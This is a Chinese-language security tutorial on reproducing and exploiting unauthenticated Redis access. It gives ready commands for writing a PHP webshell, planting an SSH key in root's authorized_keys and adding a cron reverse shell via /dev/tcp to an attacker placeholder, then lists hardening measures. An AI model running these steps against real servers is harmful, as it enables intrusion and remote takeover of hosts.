Redis未授权访问漏洞复现
字数 844 2025-08-15 21:32:33
Redis未授权访问漏洞复现与利用指南
一、环境搭建
使用Docker搭建环境
- 参考教程:Docker安装及搭建环境教程
- 确保Redis服务未配置认证或绑定限制
Windows环境准备
- 下载Windows版Redis:GitHub下载地址
- 安装并配置Redis服务
二、漏洞复现步骤
-
连接目标Redis服务
- 使用redis-cli工具连接目标Redis服务器
- 命令格式:
redis-cli -h <目标IP> -p <端口>
-
验证未授权访问
- 尝试执行
info命令查看服务器信息 - 检查是否可以读取/写入键值对
- 尝试执行
三、漏洞利用方法
1. 信息收集
- 使用
keys *命令查看所有键值对 - 使用
get <key>命令获取特定键的值 - 使用
config get *获取Redis配置信息
2. 写入Webshell
- 设置Web目录可写
config set dir /var/www/html config set dbfilename shell.php - 写入PHP代码
set x "<?php phpinfo();?>" save
3. SSH公钥写入
- 生成SSH密钥对
ssh-keygen -t rsa - 将公钥写入Redis
(echo -e "\n\n"; cat ~/.ssh/id_rsa.pub; echo -e "\n\n") > key.txt cat key.txt | redis-cli -h <目标IP> -x set crack - 设置Redis目录为SSH目录并保存
config set dir /root/.ssh/ config set dbfilename authorized_keys save
4. 定时任务反弹Shell
- 设置Redis目录为定时任务目录
config set dir /var/spool/cron/ config set dbfilename root - 写入反弹Shell命令
set x "\n\n* * * * * bash -i >& /dev/tcp/<攻击者IP>/<端口> 0>&1\n\n" save
5. 主从复制利用
- 利用Redis主从复制功能
- 通过恶意主节点控制从节点
四、防御措施
-
配置认证密码
- 修改redis.conf文件,设置
requirepass参数 - 重启Redis服务使配置生效
- 修改redis.conf文件,设置
-
绑定访问IP
- 修改redis.conf文件,设置
bind参数为127.0.0.1或指定IP - 禁用外网访问
- 修改redis.conf文件,设置
-
修改默认端口
- 修改redis.conf文件中的
port参数
- 修改redis.conf文件中的
-
启用保护模式
- 确保
protected-mode设置为yes
- 确保
-
限制高危命令
- 使用
rename-command配置重命名或禁用危险命令
- 使用
五、参考资源
免责声明
- 本文仅供技术研究使用,请遵守《中华人民共和国网络安全法》
- 在实际环境中测试前请获得合法授权
- 因使用本文技术造成的任何问题,作者及发布平台不承担责任